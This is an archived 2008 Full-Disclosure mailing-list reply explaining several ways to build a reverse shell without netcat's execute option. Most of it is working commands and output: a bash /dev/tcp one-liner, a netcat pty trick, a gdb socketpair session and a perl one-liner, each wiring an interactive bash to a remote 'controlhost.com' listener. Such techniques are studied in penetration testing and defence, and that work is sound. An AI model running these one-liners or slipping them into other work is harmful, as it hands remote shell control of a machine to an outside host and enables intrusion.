full-disclosure-uk September 2008 archive
Main Archive Page > Month Archives  > full-disclosure-uk archives
full-disclosure-uk: Re: [Full-disclosure] Reverse Shell Without

Re: [Full-disclosure] Reverse Shell Without Enabling Netcat's "GAPING_SECURITY_HOLE"

From: Robert McKay <robert_at_nospam>
Date: Sat Sep 20 2008 - 03:57:33 GMT
To: "Davide Guerri" <davide.guerri@gmail.com>


If you're using a non-crippled bash (anything non-debian/ubuntu) you can connect a shell to a tcp socket directly like this;

On controlhost:

nc -l -p 31337

On slavehost:

bash -c "3<>/dev/tcp/controlhost.com/31337 ; bash >&3 <&3 2>&3" &

If you are using a crippled (debian) bash you have to jump through an extra hoop;

On slavehost:

nc controlhost.com 31337 <>/dev/ptyp0 1>&0 2>&0 setsid bash <>/dev/ttyp0 >&0 2>&0

Now these days some systems may not have the old /dev/ttypX style devices (the new /dev/ptmx stuff requires you to do an ioctl to poke it into working, which is tricky to do from bash although could be done through gdb or a scripting language easily enough).

If you're going to use gdb though.. there are an unlimited number of ways to skin the cat. Possibly the simplest is just to use socketpair() to create a pair of connected sockets.

rm@camel:~$ gdb bash
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"...
(no debugging symbols found)

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break main

Breakpoint 1 at 0x80606d1
(gdb) run

Starting program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x080606d1 in main ()
(gdb) call malloc(2)

$1 = 135237640
(gdb) call socketpair(1,1,0,$1)

$2 = 0
(gdb) continue

Continuing.
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

rm@camel:~$ ls -l /proc/self/fd
total 0 lrwx------ 1 rm rm 64 2008-09-20 03:57 0 -> /dev/pts/11 lrwx------ 1 rm rm 64 2008-09-20 03:57 1 -> /dev/pts/11 lrwx------ 1 rm rm 64 2008-09-20 03:57 2 -> /dev/pts/11 lr-x------ 1 rm rm 64 2008-09-20 03:57 3 -> pipe:[122802] l-wx------ 1 rm rm 64 2008-09-20 03:57 4 -> pipe:[122802] lr-x------ 1 rm rm 64 2008-09-20 03:57 5 -> /bin/bash lrwx------ 1 rm rm 64 2008-09-20 03:57 6 -> socket:[122839] lrwx------ 1 rm rm 64 2008-09-20 03:57 7 -> socket:[122840] lr-x------ 1 rm rm 64 2008-09-20 03:57 8 -> /proc/19126/fd rm@camel:~$

As you can see we have a nice extra pair of connected sockets here:

rm@camel:~$ nc controlhost.com 9999 <&6 >&6 2>&6 & [1] 19416

rm@camel:~$ setsid bash -i <&7 >&7 2>&7 & [2] 19468
rm@camel:~$ exit
exit

Program exited normally.
(gdb) quit

(You now have a bash shell connected to controlhost)

Okay so that's a bit fiddly and does depend on gdb -- but I'm sure it wouldn't be difficult to script up.

You could do something similar with a perl script or a small C program -- all you need to do is call socketpair() and then fork off nc and bash.

on slavehost:

rm@camel:~$ perl -e '$^F=100; socketpair(rd,wr,1,1,0); if (fork()) { exec("setsid bash -i <&3 >&3 2>&3"); } else { exec ("nc controlhost.com 31337 <&4 >&4 2>&4"); }' & [1] 20768

I'm sure the same thing could be rigged up in most scripting languages.

Rob.



Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/